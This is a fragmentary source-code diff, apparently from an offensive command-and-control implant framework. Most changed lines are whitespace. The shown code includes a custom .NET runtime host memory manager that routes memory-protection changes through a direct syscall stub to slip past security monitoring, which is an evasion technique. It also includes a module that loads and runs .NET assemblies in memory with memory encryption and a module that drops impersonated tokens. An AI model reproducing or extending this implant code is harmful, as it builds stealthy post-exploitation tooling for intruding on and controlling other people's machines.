HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
{
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
return S_OK;
}
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
{
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
HANDLE hProcess = GetCurrentProcess();
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
return S_OK;
}
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
{
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
//Just returning arbitrary values
*pMemoryLoad = 30;
*pAvailableBytes = 100 * 1024 * 1024;
return S_OK;
}
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
{
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
return S_OK;
}
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
return S_OK;
}
//
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
//
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
//This is used to track the assemblies that are mapped into the process
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = startAddress;
allocEntry->size = size;
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
{
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
return S_OK;
}
+48 -48
View File
@@ -1,49 +1,49 @@
#pragma once
#include "HostMalloc.hpp"
#include <string>
#include <syscall.hpp>
class MyMemoryManager : public IHostMemoryManager
{
public:
MyMemoryManager(void);
~MyMemoryManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memAllocList;
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_mallocManager->getMemAllocList();
}
protected:
DWORD count;
private:
MyHostMalloc* m_mallocManager;
std::vector<MemAllocEntry*> m_memAllocList;
#pragma once
#include "HostMalloc.hpp"
#include <string>
#include <syscall.hpp>
class MyMemoryManager : public IHostMemoryManager
{
public:
MyMemoryManager(void);
~MyMemoryManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memAllocList;
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_mallocManager->getMemAllocList();
}
protected:
DWORD count;
private:
MyHostMalloc* m_mallocManager;
std::vector<MemAllocEntry*> m_memAllocList;
};
+623 -623
View File
File diff suppressed because it is too large Load Diff
+40 -40
View File
@@ -15,8 +15,8 @@
#include "HostControl.hpp"
// Import mscorlib.tlb (Microsoft Common Language Runtime Class Library).
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent")
#endif
@@ -24,9 +24,9 @@
#ifdef _WIN32
struct AssemblyModule
{
mscorlib::_AssemblyPtr spAssembly;
std::string name;
std::string type;
mscorlib::_AssemblyPtr spAssembly;
std::string name;
std::string type;
};
#endif
@@ -35,56 +35,56 @@ class PwSh : public ModuleCmd
{
public:
PwSh();
~PwSh();
PwSh();
~PwSh();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
bool m_firstRun;
bool m_firstRun;
int clearAssembly();
int clearCLR();
int clearAssembly();
int clearCLR();
#ifdef _WIN32
bool m_memEcrypted;
bool m_moduleLoaded;
bool m_memEcrypted;
bool m_moduleLoaded;
// initCLR
ICLRMetaHost *m_pMetaHost;
ICLRRuntimeInfo *m_pRuntimeInfo;
ICLRRuntimeHost *m_pClrRuntimeHost;
MyHostControl* m_pCustomHostControl;
ICorRuntimeHost* m_pCorHost;
IUnknownPtr m_spAppDomainThunk;
// initCLR
ICLRMetaHost *m_pMetaHost;
ICLRRuntimeInfo *m_pRuntimeInfo;
ICLRRuntimeHost *m_pClrRuntimeHost;
MyHostControl* m_pCustomHostControl;
ICorRuntimeHost* m_pCorHost;
IUnknownPtr m_spAppDomainThunk;
// loadAssembly
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
TargetAssembly* m_targetAssembly;
int initCLR();
int loadAssembly(const std::string& data, const std::string& type);
int invokeMethodDll(const std::string& argument, std::string& result);
int encryptMem();
int decryptMem();
// loadAssembly
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
TargetAssembly* m_targetAssembly;
int initCLR();
int loadAssembly(const std::string& data, const std::string& type);
int invokeMethodDll(const std::string& argument, std::string& result);
int encryptMem();
int decryptMem();
std::vector<AssemblyModule> m_assemblies;
std::vector<AssemblyModule> m_assemblies;
mscorlib::_AssemblyPtr m_spAssembly;
mscorlib::_TypePtr m_spType;
variant_t m_vtInstance;
mscorlib::_AssemblyPtr m_spAssembly;
mscorlib::_TypePtr m_spType;
variant_t m_vtInstance;
HANDLE m_ioPipeRead;
HANDLE m_ioPipeWrite;
HANDLE m_ioPipeRead;
HANDLE m_ioPipeWrite;
#endif
+14 -14
View File
@@ -35,9 +35,9 @@ __attribute__((visibility("default"))) Rev2self* Rev2selfConstructor()
Rev2self::Rev2self()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -48,14 +48,14 @@ Rev2self::~Rev2self()
std::string Rev2self::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "rev2self:\n";
info += "Drop the impersonation of a token, created with makeToken\n";
info += "exemple:\n";
info += "- rev2self\n";
info += "rev2self:\n";
info += "Drop the impersonation of a token, created with makeToken\n";
info += "exemple:\n";
info += "- rev2self\n";
#endif
return info;
return info;
}
int Rev2self::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
@@ -63,7 +63,7 @@ int Rev2self::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
return 0;
return 0;
}
@@ -72,16 +72,16 @@ int Rev2self::process(C2Message &c2Message, C2Message &c2RetMessage)
std::string out = rev2self();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(out);
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(out);
return 0;
return 0;
}
std::string Rev2self::rev2self()
{
std::string result;
std::string result;
#ifdef __linux__
@@ -94,5 +94,5 @@ std::string Rev2self::rev2self()
result += "Fail to revert to self.\n";
#endif
return result;
return result;
}

Some files were not shown because too many files have changed in this diff Show More